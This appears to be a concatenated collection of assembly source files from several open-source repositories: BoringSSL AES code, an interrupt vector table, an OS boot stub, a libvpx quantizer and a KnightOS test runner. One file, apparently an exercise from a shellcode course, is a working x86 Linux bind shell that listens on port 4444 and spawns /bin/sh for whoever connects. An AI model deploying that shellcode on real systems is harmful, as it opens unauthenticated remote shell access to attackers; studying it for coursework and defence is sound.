DB 0c1h,0afh,0bdh,003h,001h,013h,08ah,06bh
DB 03ah,091h,011h,041h,04fh,067h,0dch,0eah
DB 097h,0f2h,0cfh,0ceh,0f0h,0b4h,0e6h,073h
DB 096h,0ach,074h,022h,0e7h,0adh,035h,085h
DB 0e2h,0f9h,037h,0e8h,01ch,075h,0dfh,06eh
DB 047h,0f1h,01ah,071h,01dh,029h,0c5h,089h
DB 06fh,0b7h,062h,00eh,0aah,018h,0beh,01bh
DB 0fch,056h,03eh,04bh,0c6h,0d2h,079h,020h
DB 09ah,0dbh,0c0h,0feh,078h,0cdh,05ah,0f4h
DB 01fh,0ddh,0a8h,033h,088h,007h,0c7h,031h
DB 0b1h,012h,010h,059h,027h,080h,0ech,05fh
DB 060h,051h,07fh,0a9h,019h,0b5h,04ah,00dh
DB 02dh,0e5h,07ah,09fh,093h,0c9h,09ch,0efh
DB 0a0h,0e0h,03bh,04dh,0aeh,02ah,0f5h,0b0h
DB 0c8h,0ebh,0bbh,03ch,083h,053h,099h,061h
DB 017h,02bh,004h,07eh,0bah,077h,0d6h,026h
DB 0e1h,069h,014h,063h,055h,021h,00ch,07dh
DD 080808080h,080808080h,0fefefefeh,0fefefefeh
DD 01b1b1b1bh,01b1b1b1bh,0,0
DB 052h,009h,06ah,0d5h,030h,036h,0a5h,038h
DB 0bfh,040h,0a3h,09eh,081h,0f3h,0d7h,0fbh
DB 07ch,0e3h,039h,082h,09bh,02fh,0ffh,087h
DB 034h,08eh,043h,044h,0c4h,0deh,0e9h,0cbh
DB 054h,07bh,094h,032h,0a6h,0c2h,023h,03dh
DB 0eeh,04ch,095h,00bh,042h,0fah,0c3h,04eh
DB 008h,02eh,0a1h,066h,028h,0d9h,024h,0b2h
DB 076h,05bh,0a2h,049h,06dh,08bh,0d1h,025h
DB 072h,0f8h,0f6h,064h,086h,068h,098h,016h
DB 0d4h,0a4h,05ch,0cch,05dh,065h,0b6h,092h
DB 06ch,070h,048h,050h,0fdh,0edh,0b9h,0dah
DB 05eh,015h,046h,057h,0a7h,08dh,09dh,084h
DB 090h,0d8h,0abh,000h,08ch,0bch,0d3h,00ah
DB 0f7h,0e4h,058h,005h,0b8h,0b3h,045h,006h
DB 0d0h,02ch,01eh,08fh,0cah,03fh,00fh,002h
DB 0c1h,0afh,0bdh,003h,001h,013h,08ah,06bh
DB 03ah,091h,011h,041h,04fh,067h,0dch,0eah
DB 097h,0f2h,0cfh,0ceh,0f0h,0b4h,0e6h,073h
DB 096h,0ach,074h,022h,0e7h,0adh,035h,085h
DB 0e2h,0f9h,037h,0e8h,01ch,075h,0dfh,06eh
DB 047h,0f1h,01ah,071h,01dh,029h,0c5h,089h
DB 06fh,0b7h,062h,00eh,0aah,018h,0beh,01bh
DB 0fch,056h,03eh,04bh,0c6h,0d2h,079h,020h
DB 09ah,0dbh,0c0h,0feh,078h,0cdh,05ah,0f4h
DB 01fh,0ddh,0a8h,033h,088h,007h,0c7h,031h
DB 0b1h,012h,010h,059h,027h,080h,0ech,05fh
DB 060h,051h,07fh,0a9h,019h,0b5h,04ah,00dh
DB 02dh,0e5h,07ah,09fh,093h,0c9h,09ch,0efh
DB 0a0h,0e0h,03bh,04dh,0aeh,02ah,0f5h,0b0h
DB 0c8h,0ebh,0bbh,03ch,083h,053h,099h,061h
DB 017h,02bh,004h,07eh,0bah,077h,0d6h,026h
DB 0e1h,069h,014h,063h,055h,021h,00ch,07dh
DD 080808080h,080808080h,0fefefefeh,0fefefefeh
DD 01b1b1b1bh,01b1b1b1bh,0,0
DB 65,69,83,32,102,111,114,32,120,56,54,95,54,52,44,32
DB 67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97
DB 112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103
DB 62,0
ALIGN 64
EXTERN __imp_RtlVirtualUnwind:NEAR
ALIGN 16
block_se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
mov rsi,QWORD PTR[8+r9]
mov r11,QWORD PTR[56+r9]
mov r10d,DWORD PTR[r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jb $L$in_block_prologue
mov rax,QWORD PTR[152+r8]
mov r10d,DWORD PTR[4+r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jae $L$in_block_prologue
mov rax,QWORD PTR[24+rax]
lea rax,QWORD PTR[48+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r15,QWORD PTR[((-48))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
$L$in_block_prologue::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
jmp $L$common_seh_exit
block_se_handler ENDP
ALIGN 16
key_se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
mov rsi,QWORD PTR[8+r9]
mov r11,QWORD PTR[56+r9]
mov r10d,DWORD PTR[r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jb $L$in_key_prologue
mov rax,QWORD PTR[152+r8]
mov r10d,DWORD PTR[4+r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jae $L$in_key_prologue
lea rax,QWORD PTR[56+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r15,QWORD PTR[((-48))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
$L$in_key_prologue::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
jmp $L$common_seh_exit
key_se_handler ENDP
ALIGN 16
cbc_se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
lea r10,QWORD PTR[$L$cbc_prologue]
cmp rbx,r10
jb $L$in_cbc_prologue
lea r10,QWORD PTR[$L$cbc_fast_body]
cmp rbx,r10
jb $L$in_cbc_frame_setup
lea r10,QWORD PTR[$L$cbc_slow_prologue]
cmp rbx,r10
jb $L$in_cbc_body
lea r10,QWORD PTR[$L$cbc_slow_body]
cmp rbx,r10
jb $L$in_cbc_frame_setup
$L$in_cbc_body::
mov rax,QWORD PTR[152+r8]
lea r10,QWORD PTR[$L$cbc_epilogue]
cmp rbx,r10
jae $L$in_cbc_prologue
lea rax,QWORD PTR[8+rax]
lea r10,QWORD PTR[$L$cbc_popfq]
cmp rbx,r10
jae $L$in_cbc_prologue
mov rax,QWORD PTR[8+rax]
lea rax,QWORD PTR[56+rax]
$L$in_cbc_frame_setup::
mov rbx,QWORD PTR[((-16))+rax]
mov rbp,QWORD PTR[((-24))+rax]
mov r12,QWORD PTR[((-32))+rax]
mov r13,QWORD PTR[((-40))+rax]
mov r14,QWORD PTR[((-48))+rax]
mov r15,QWORD PTR[((-56))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
$L$in_cbc_prologue::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
$L$common_seh_exit::
mov rdi,QWORD PTR[40+r9]
mov rsi,r8
mov ecx,154
DD 0a548f3fch
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD PTR[8+rsi]
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[16+rsi]
mov r10,QWORD PTR[40+rsi]
lea r11,QWORD PTR[56+rsi]
lea r12,QWORD PTR[24+rsi]
mov QWORD PTR[32+rsp],r10
mov QWORD PTR[40+rsp],r11
mov QWORD PTR[48+rsp],r12
mov QWORD PTR[56+rsp],rcx
call QWORD PTR[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
cbc_se_handler ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_AES_encrypt
DD imagerel $L$SEH_end_AES_encrypt
DD imagerel $L$SEH_info_AES_encrypt
DD imagerel $L$SEH_begin_AES_decrypt
DD imagerel $L$SEH_end_AES_decrypt
DD imagerel $L$SEH_info_AES_decrypt
DD imagerel $L$SEH_begin_AES_set_encrypt_key
DD imagerel $L$SEH_end_AES_set_encrypt_key
DD imagerel $L$SEH_info_AES_set_encrypt_key
DD imagerel $L$SEH_begin_AES_set_decrypt_key
DD imagerel $L$SEH_end_AES_set_decrypt_key
DD imagerel $L$SEH_info_AES_set_decrypt_key
DD imagerel $L$SEH_begin_AES_cbc_encrypt
DD imagerel $L$SEH_end_AES_cbc_encrypt
DD imagerel $L$SEH_info_AES_cbc_encrypt
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_AES_encrypt::
DB 9,0,0,0
DD imagerel block_se_handler
DD imagerel $L$enc_prologue,imagerel $L$enc_epilogue
$L$SEH_info_AES_decrypt::
DB 9,0,0,0
DD imagerel block_se_handler
DD imagerel $L$dec_prologue,imagerel $L$dec_epilogue
$L$SEH_info_AES_set_encrypt_key::
DB 9,0,0,0
DD imagerel key_se_handler
DD imagerel $L$enc_key_prologue,imagerel $L$enc_key_epilogue
$L$SEH_info_AES_set_decrypt_key::
DB 9,0,0,0
DD imagerel key_se_handler
DD imagerel $L$dec_key_prologue,imagerel $L$dec_key_epilogue
$L$SEH_info_AES_cbc_encrypt::
DB 9,0,0,0
DD imagerel cbc_se_handler
.xdata ENDS
END
| chromium2014/src | third_party/boringssl/win-x86_64/crypto/aes/aes-x86_64.asm | Assembly | bsd-3-clause | 61,822 |
;-------------------------------------------------------------------------------
; sys_intvecs.asm
;
; (c) Texas Instruments 2009-2010, All rights reserved.
;
.sect ".intvecs"
;-------------------------------------------------------------------------------
; import reference for interrupt routines
.ref _c_int00
.ref vPortYieldProcessor
;-------------------------------------------------------------------------------
; interrupt vectors
b _c_int00 ; reset
b #-8 ; undefined instruction
b vPortYieldProcessor ; software interrupt
b #-8 ; Abort (prefetch)
b #-8 ; Abort (data)
b #-8 ; Reserved
ldr pc,[pc,#-0x1b0] ; IRQ
ldr pc,[pc,#-0x1b0] ; FIQ
;-------------------------------------------------------------------------------
| openthread/ot-rtos | third_party/freertos/repo/FreeRTOS/Demo/CORTEX_R4_RM48_TMS570_CCS5/startup/sys_intvecs.asm | Assembly | bsd-3-clause | 890 |
global _start
extern long_mode_start
section .text
bits 32
_start:
mov esp, stack_top
mov edi, ebx ; Move multiboot info pointer to edi
call check_multiboot
call check_cpuid
call check_long_mode
call set_up_page_tables
call enable_paging
call set_up_SSE
; load the 64-bit GDT
lgdt [gdt64.pointer]
; update selectors
mov ax, gdt64.data
mov ss, ax
mov ds, ax
mov es, ax
jmp gdt64.code:long_mode_start
set_up_page_tables:
; Map the p4 table recursively to itself
mov eax, p4_table
or eax, 0b11 ; present + writable
mov [p4_table + 511 * 8], eax
; map first P4 entry to P3 table
mov eax, p3_table
or eax, 0b11 ; present + writable
mov [p4_table], eax
; map first P3 entry to P2 table
mov eax, p2_table
or eax, 0b11 ; present + writable
mov [p3_table], eax
; map each P2 entry to a huge 2MiB page
mov ecx, 0 ; counter variable
.map_p2_table:
; map ecx-th P2 entry to a huge page that starts at address (2MiB * ecx)
mov eax, 0x200000 ; 2MiB
mul ecx ; start address of ecx-th page
or eax, 0b10000011 ; present + writable + huge
mov [p2_table + ecx * 8], eax ; map ecx-th entry
inc ecx ; increase counter
cmp ecx, 512 ; if counter == 512, the whole P2 table is mapped
jne .map_p2_table ; else map the next entry
ret
enable_paging:
; load P4 to cr3 register (cpu uses this to access the P4 table)
mov eax, p4_table
mov cr3, eax
; enable PAE-flag in cr4 (Physical Address Extension)
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; set the long mode bit in the EFER MSR (model specific register)
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
; enable paging in the cr0 register
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
ret
; Prints `ERR: ` and the given error code to screen and hangs.
; parameter: error code (in ascii) in al
error:
mov dword [0xb8000], 0x4f524f45
mov dword [0xb8004], 0x4f3a4f52
mov dword [0xb8008], 0x4f204f20
mov byte [0xb800a], al
hlt
; Throw error 0 if eax doesn't contain the Multiboot 2 magic value (0x36d76289).
check_multiboot:
cmp eax, 0x36d76289
jne .no_multiboot
ret
.no_multiboot:
mov al, "0"
jmp error
; Throw error 1 if the CPU doesn't support the CPUID command.
check_cpuid:
; Check if CPUID is supported by attempting to flip the ID bit (bit 21) in
; the FLAGS register. If we can flip it, CPUID is available.
; Copy FLAGS in to EAX via stack
pushfd
pop eax
; Copy to ECX as well for comparing later on
mov ecx, eax
; Flip the ID bit
xor eax, 1 << 21
; Copy EAX to FLAGS via the stack
push eax
popfd
; Copy FLAGS back to EAX (with the flipped bit if CPUID is supported)
pushfd
pop eax
; Restore FLAGS from the old version stored in ECX (i.e. flipping the ID bit
; back if it was ever flipped).
push ecx
popfd
; Compare EAX and ECX. If they are equal then that means the bit wasn't
; flipped, and CPUID isn't supported.
cmp eax, ecx
je .no_cpuid
ret
.no_cpuid:
mov al, "1"
jmp error
; Throw error 2 if the CPU doesn't support Long Mode.
check_long_mode:
; test if extended processor info in available
mov eax, 0x80000000 ; implicit argument for cpuid
cpuid ; get highest supported argument
cmp eax, 0x80000001 ; it needs to be at least 0x80000001
jb .no_long_mode ; if it's less, the CPU is too old for long mode
; use extended info to test if long mode is available
mov eax, 0x80000001 ; argument for extended processor info
cpuid ; returns various feature bits in ecx and edx
test edx, 1 << 29 ; test if the LM-bit is set in the D-register
jz .no_long_mode ; If it's not set, there is no long mode
ret
.no_long_mode:
mov al, "2"
jmp error
; Check for SSE and enable it. If it's not supported throw error "a".
set_up_SSE:
; check for SSE
mov eax, 0x1
cpuid
test edx, 1<<25
jz .no_SSE
; enable SSE
mov eax, cr0
and ax, 0xFFFB ; clear coprocessor emulation CR0.EM
or ax, 0x2 ; set coprocessor monitoring CR0.MP
mov cr0, eax
mov eax, cr4
or ax, 3 << 9 ; set CR4.OSFXSR and CR4.OSXMMEXCPT at the same time
mov cr4, eax
ret
.no_SSE:
mov al, "a"
jmp error
section .bss
align 4096
p4_table:
resb 4096
p3_table:
resb 4096
p2_table:
resb 4096
stack_bottom:
resb 4 * 4096
stack_top:
section .rodata
gdt64:
dq 0 ; zero entry
.code: equ $ - gdt64 ; new
dq (1<<44) | (1<<47) | (1<<41) | (1<<43) | (1<<53) ; code segment
.data: equ $ - gdt64 ; new
dq (1<<44) | (1<<47) | (1<<41) ; data segment
.pointer:
dw $ - gdt64 - 1
dq gdt64 | AtheMathmo/toy-os | boot/asm/boot.asm | Assembly | mit | 4,909 |
global _start
section .text
_start:
;syscall for socket
;cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
;#define __NR_socketcall 102 (0x66 in hex)
;sock_file_des = socket(AF_INET, SOCK_STREAM, 0)
;AF_INET = 2 ( bits/socket.h)
;SOCK_STREAM = 1 (bits/socket.h)
;socket(2,1,0)
xor eax, eax ; zero out eax register using XOR operation
xor ebx, ebx ; zero out ebx register using XOR operation
push eax ; move 0 to stack (protocol=0)
mov al, 0x66 ; moves socket call number to al register
mov bl, 0x1 ; moves 0x1 to bl register
push ebx ; value in ebx=1 is pushed in to the stack (sock_stream =1)
push 0x2 ; value 0x2 is pushed onto stack (AF_INET=2)
mov ecx, esp ; save the pointer to args in ecx
int 0x80 ; socket()
mov esi, eax ; store sockfd in esi register
;sock_ad.sin_addr.s_addr = INADDR_ANY;//0, bindshell will listen on any address
;sock_ad.sin_port = htons(4444);// port to bind.(4444)
;sock_ad.sin_family = AF_INET; // TCP protocol (2).
xor edx, edx ; zero out edx register using XOR operation
push edx ; push 0 on to stack (INADDR_ANY)
push word 0x5C11; htons(4444) (4444 = 0x115c)
push word 0x2 ; AF_INET = 2
mov ecx, esp ; save the pointer to args in ecx
;bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad));
;cat /usr/include/linux/net.h | grep bind
;bind = 2
mov al, 0x66 ; sys socket call
mov bl, 0x2 ; bind =2
push 0x10 ; size of sock_ad (sizeof(sock_ad))
push ecx ; struct pointer
push esi ; push sockfd (sock_file_des) onto stack
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;listen(sock_file_des, 0);
;cat /usr/include/linux/net.h | grep listen
; listen =4
mov al, 0x66 ; sys socket call
mov bl, 0x4 ; listen=4
push edx ; push 0 onto stack (backlog=0)
push esi ; sockfd (sock_file_des )
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;clientfd = accept(sock_file_des, NULL, NULL)
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
;cat /usr/include/linux/net.h | grep accept
; accept=5
mov al, 0x66 ; sys socket call
mov bl, 0x5 ; accept =5
push edx ; null value socklen_t *addrlen
push edx ; null value sockaddr *addr
push esi ; sockfd (sock_file_des )
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;int dup2(int oldfd, int newfd);
;dup2(clientfd, 0); // stdin
;dup2(clientfd, 1); // stdout
;dup2(clientfd, 2); // stderr
mov ebx, eax ;move client fd to ebx
xor ecx, ecx ; xor to clear out ecx
mov cl, 3 ; counter to loop 3 times
loopinghere:
mov al, 0x3f ; sys call for dup2
int 0x80
dec cl ; decrement till 0
jns loopinghere ; loop as long sign flag is not set
;Execute shell (here we use /bin/sh) using execve call
;execve("//bin/sh",["//bin/sh"])
mov al, 11 ; execve
push edx ; push null
push 0x68732f6e ; hs/b
push 0x69622f2f ; ib//
mov ebx,esp ; save pointer
push edx ; push null
push ebx ; push pointer
mov ecx,esp ; save pointer
int 0x80
| sajithshetty/SLAE32 | Assignment1/bindshell_prog.asm | Assembly | cc0-1.0 | 3,098 |
;Testname=br3028880; Arguments=-Ox -fbin -obr3028880.o; Files=stdout stderr br3028880.o
%macro import 1
%defstr %%incfile %!PROJECTBASEDIR/%{1}.inc
%defstr %%decfile %!'PROJECTBASEDIR'/%{1}.dec
db %%incfile, `\n`
db %%decfile, `\n`
%endmacro
%ifenv PROJECTBASEDIR
import foo
%else
%warning No PROJECTBASEDIR defined
%endif
%ifenv %!PROJECTBASEDIR
import foo
%else
%warning No PROJECTBASEDIR defined
%endif
%ifenv 'PROJECTBASEDIR'
import foo
%else
%warning No PROJECTBASEDIR defined
%endif
%ifenv %!'PROJECTBASEDIR'
import foo
%else
%warning No PROJECTBASEDIR defined
%endif
| techkey/nasm | travis/test/br3028880.asm | Assembly | bsd-2-clause | 591 |
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
%include "vpx_ports/x86_abi_support.asm"
;int vp8_fast_quantize_b_impl_mmx(short *coeff_ptr, short *zbin_ptr,
; short *qcoeff_ptr,short *dequant_ptr,
; short *scan_mask, short *round_ptr,
; short *quant_ptr, short *dqcoeff_ptr);
global sym(vp8_fast_quantize_b_impl_mmx) PRIVATE
sym(vp8_fast_quantize_b_impl_mmx):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 8
push rsi
push rdi
; end prolog
mov rsi, arg(0) ;coeff_ptr
movq mm0, [rsi]
mov rax, arg(1) ;zbin_ptr
movq mm1, [rax]
movq mm3, mm0
psraw mm0, 15
pxor mm3, mm0
psubw mm3, mm0 ; abs
movq mm2, mm3
pcmpgtw mm1, mm2
pandn mm1, mm2
movq mm3, mm1
mov rdx, arg(6) ;quant_ptr
movq mm1, [rdx]
mov rcx, arg(5) ;round_ptr
movq mm2, [rcx]
paddw mm3, mm2
pmulhuw mm3, mm1
pxor mm3, mm0
psubw mm3, mm0 ;gain the sign back
mov rdi, arg(2) ;qcoeff_ptr
movq mm0, mm3
movq [rdi], mm3
mov rax, arg(3) ;dequant_ptr
movq mm2, [rax]
pmullw mm3, mm2
mov rax, arg(7) ;dqcoeff_ptr
movq [rax], mm3
; next 8
movq mm4, [rsi+8]
mov rax, arg(1) ;zbin_ptr
movq mm5, [rax+8]
movq mm7, mm4
psraw mm4, 15
pxor mm7, mm4
psubw mm7, mm4 ; abs
movq mm6, mm7
pcmpgtw mm5, mm6
pandn mm5, mm6
movq mm7, mm5
movq mm5, [rdx+8]
movq mm6, [rcx+8]
paddw mm7, mm6
pmulhuw mm7, mm5
pxor mm7, mm4
psubw mm7, mm4;gain the sign back
mov rdi, arg(2) ;qcoeff_ptr
movq mm1, mm7
movq [rdi+8], mm7
mov rax, arg(3) ;dequant_ptr
movq mm6, [rax+8]
pmullw mm7, mm6
mov rax, arg(7) ;dqcoeff_ptr
movq [rax+8], mm7
; next 8
movq mm4, [rsi+16]
mov rax, arg(1) ;zbin_ptr
movq mm5, [rax+16]
movq mm7, mm4
psraw mm4, 15
pxor mm7, mm4
psubw mm7, mm4 ; abs
movq mm6, mm7
pcmpgtw mm5, mm6
pandn mm5, mm6
movq mm7, mm5
movq mm5, [rdx+16]
movq mm6, [rcx+16]
paddw mm7, mm6
pmulhuw mm7, mm5
pxor mm7, mm4
psubw mm7, mm4;gain the sign back
mov rdi, arg(2) ;qcoeff_ptr
movq mm1, mm7
movq [rdi+16], mm7
mov rax, arg(3) ;dequant_ptr
movq mm6, [rax+16]
pmullw mm7, mm6
mov rax, arg(7) ;dqcoeff_ptr
movq [rax+16], mm7
; next 8
movq mm4, [rsi+24]
mov rax, arg(1) ;zbin_ptr
movq mm5, [rax+24]
movq mm7, mm4
psraw mm4, 15
pxor mm7, mm4
psubw mm7, mm4 ; abs
movq mm6, mm7
pcmpgtw mm5, mm6
pandn mm5, mm6
movq mm7, mm5
movq mm5, [rdx+24]
movq mm6, [rcx+24]
paddw mm7, mm6
pmulhuw mm7, mm5
pxor mm7, mm4
psubw mm7, mm4;gain the sign back
mov rdi, arg(2) ;qcoeff_ptr
movq mm1, mm7
movq [rdi+24], mm7
mov rax, arg(3) ;dequant_ptr
movq mm6, [rax+24]
pmullw mm7, mm6
mov rax, arg(7) ;dqcoeff_ptr
movq [rax+24], mm7
mov rdi, arg(4) ;scan_mask
mov rsi, arg(2) ;qcoeff_ptr
pxor mm5, mm5
pxor mm7, mm7
movq mm0, [rsi]
movq mm1, [rsi+8]
movq mm2, [rdi]
movq mm3, [rdi+8];
pcmpeqw mm0, mm7
pcmpeqw mm1, mm7
pcmpeqw mm6, mm6
pxor mm0, mm6
pxor mm1, mm6
psrlw mm0, 15
psrlw mm1, 15
pmaddwd mm0, mm2
pmaddwd mm1, mm3
movq mm5, mm0
paddd mm5, mm1
movq mm0, [rsi+16]
movq mm1, [rsi+24]
movq mm2, [rdi+16]
movq mm3, [rdi+24];
pcmpeqw mm0, mm7
pcmpeqw mm1, mm7
pcmpeqw mm6, mm6
pxor mm0, mm6
pxor mm1, mm6
psrlw mm0, 15
psrlw mm1, 15
pmaddwd mm0, mm2
pmaddwd mm1, mm3
paddd mm5, mm0
paddd mm5, mm1
movq mm0, mm5
psrlq mm5, 32
paddd mm0, mm5
; eob adjustment begins here
movq rcx, mm0
and rcx, 0xffff
xor rdx, rdx
sub rdx, rcx ; rdx=-rcx
bsr rax, rcx
inc rax
sar rdx, 31
and rax, rdx
; Substitute the sse assembly for the old mmx mixed assembly/C. The
; following is kept as reference
; movq rcx, mm0
; bsr rax, rcx
;
; mov eob, rax
; mov eee, rcx
;
;if(eee==0)
;{
; eob=-1;
;}
;else if(eee<0)
;{
; eob=15;
;}
;d->eob = eob+1;
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
| blloyd75/theoraplayer | vpx/vp8/encoder/x86/quantize_mmx.asm | Assembly | bsd-3-clause | 8,135 |
BITS 32
global cpu_nop
global cpu_int_enable
global cpu_int_disable
global cpu_halt
cpu_nop:
nop
ret
cpu_int_disable:
cli
ret
cpu_int_enable:
sti
ret
cpu_halt:
hlt
ret
| katajakasa/KatajaOS | src/system/cpua.asm | Assembly | mit | 225 |
.def counter_x r0
.def counter_y r1
.def comp r2
.def s_zero r3
.def s_one r4
.label setup
.label entry_addr
loadi counter_x, vram_width
loadi counter_y, vram_height
rst s_zero
loadi s_one, 1
sub counter_x, s_one
sub counter_y, s_one
push dword, msg_welcome
push dword, 29
push word, sys_write
syscall
push dword, msg_sleep
push dword, 26
push word, sys_write
syscall
push float, 3.0
push word, sys_sleep
syscall
jmp main
.label main
rpush counter_x
rpush counter_y
push byte, 0b11100011
push dword, 9
call gfx_draw_pixel
jmp check_zero_reached1
.label check_zero_reached1
cmp counter_x, s_zero
jz check_zero_reached2
jmp loop
.label check_zero_reached2
cmp counter_y, s_zero
jz quit_program
jmp loop
.label loop
cmp counter_x, s_zero
jz br1
sub counter_x, s_one
jmp br2
.label br1
sub counter_y, s_one
loadi counter_x, vram_width
sub counter_x, s_one
.label br2
jmp main
.label quit_program
push byte, 0
push word, sys_exit
syscall
.db msg_welcome 29 "welcome to the graphics demo\n"
.db msg_sleep 26 "sleeping for 3 seconds...\n"
.include "graphics.asm"
| KCreate/stackvm | examples/boxes.asm | Assembly | mit | 1,157 |
#include "kernel.inc"
#include "corelib.inc"
.db "KEXC"
.db KEXC_ENTRY_POINT
.dw start
.db KEXC_STACK_SIZE
.dw 20
.db KEXC_NAME
.dw program_name
.db KEXC_HEADER_END
program_name:
.db "KnightOS test runner", 0
start:
; load dependencies
kld(de, corelibPath)
pcall(loadLibrary)
; get a lock on the devices we intend to use
pcall(getLcdLock)
pcall(getKeypadLock)
; allocate and clear a buffer to store the contents of the screen
pcall(allocScreenBuffer)
; start running tests
.testLoop:
; increase test_id
kld(a, (test_id))
inc a
kld((test_id), a)
; check whether we are done
kld(a, (tests))
ld b, a
kld(a, (test_id))
cp b
kjp(z, .ready)
; draw the GUI
pcall(clearBuffer)
kld(hl, program_name)
xor a
corelib(drawWindow)
kld(hl, running_test_str)
ld de, 0x0208
pcall(drawStr)
kld(a, (test_id))
inc a
pcall(drawDecA)
ld a, '/'
pcall(drawChar)
kld(a, (tests))
pcall(drawDecA)
ld de, 0x020f
kld(a, (num_passed))
pcall(drawDecA)
kld(hl, tests_passed_str)
pcall(drawStr)
ld de, 0x0215
kld(a, (num_failed))
pcall(drawDecA)
kld(hl, tests_failed_str)
pcall(drawStr)
pcall(fastCopy)
; put the address of the test in hl
kld(a, (test_id))
ld l, a
ld h, 0
add hl, hl
kld(de, tests)
add hl, de
inc hl
; put return address on the stack
kld(hl, .testLoop)
push hl
; preserve iy, so that even if the test destroys it, we
; don't lose our screen buffer
push iy
; call the test
kld(hl, tests)
inc hl
kld(a, (test_id))
add a, a
ld e, a
ld d, 0
add hl, de
ld a, (hl)
ld e, a
inc hl
ld a, (hl)
ld d, a
pcall(getCurrentThreadID)
pcall(getEntryPoint)
add hl, de
jp (hl)
.ready:
; draw the GUI
pcall(clearBuffer)
kld(hl, program_name)
xor a
corelib(drawWindow)
kld(hl, done_str)
ld de, 0x0208
pcall(drawStr)
ld de, 0x020f
kld(a, (num_passed))
pcall(drawDecA)
kld(hl, tests_passed_str)
pcall(drawStr)
ld de, 0x0215
kld(a, (num_failed))
pcall(drawDecA)
kld(hl, tests_failed_str)
pcall(drawStr)
pcall(fastCopy)
pcall(flushKeys)
pcall(waitKey)
cp kMODE
jr nz, .ready
ret
pass:
kld(a, (num_passed))
inc a
kld((num_passed), a)
pop iy
ret
fail:
kld(a, (num_failed))
inc a
kld((num_failed), a)
pop iy
ret
popOnceAndFail:
pop hl
jr fail
popTwiceAndFail:
pop hl
pop hl
jr fail
printDebugAndHalt:
; restore pointer to display buffer
pop iy \ pop iy
; values
ld a, b
ld de, 0x1822
pcall(drawHexA)
ld a, c
ld de, 0x2222
pcall(drawHexA)
ld a, d
push de
ld de, 0x4822
pcall(drawHexA)
pop de
ld a, e
push de
ld de, 0x5222
pcall(drawHexA)
pop de
ld a, h
ld de, 0x1828
pcall(drawHexA)
ld a, l
ld de, 0x2228
pcall(drawHexA)
push ix \ pop hl
ld a, h
ld de, 0x4828
pcall(drawHexA)
ld a, l
ld de, 0x5228
pcall(drawHexA)
; labels
ld de, 0x0a22
ld a, 'b'
pcall(drawChar)
ld a, 'c'
pcall(drawChar)
ld a, ':'
pcall(drawChar)
ld de, 0x3a22
ld a, 'd'
pcall(drawChar)
ld a, 'e'
pcall(drawChar)
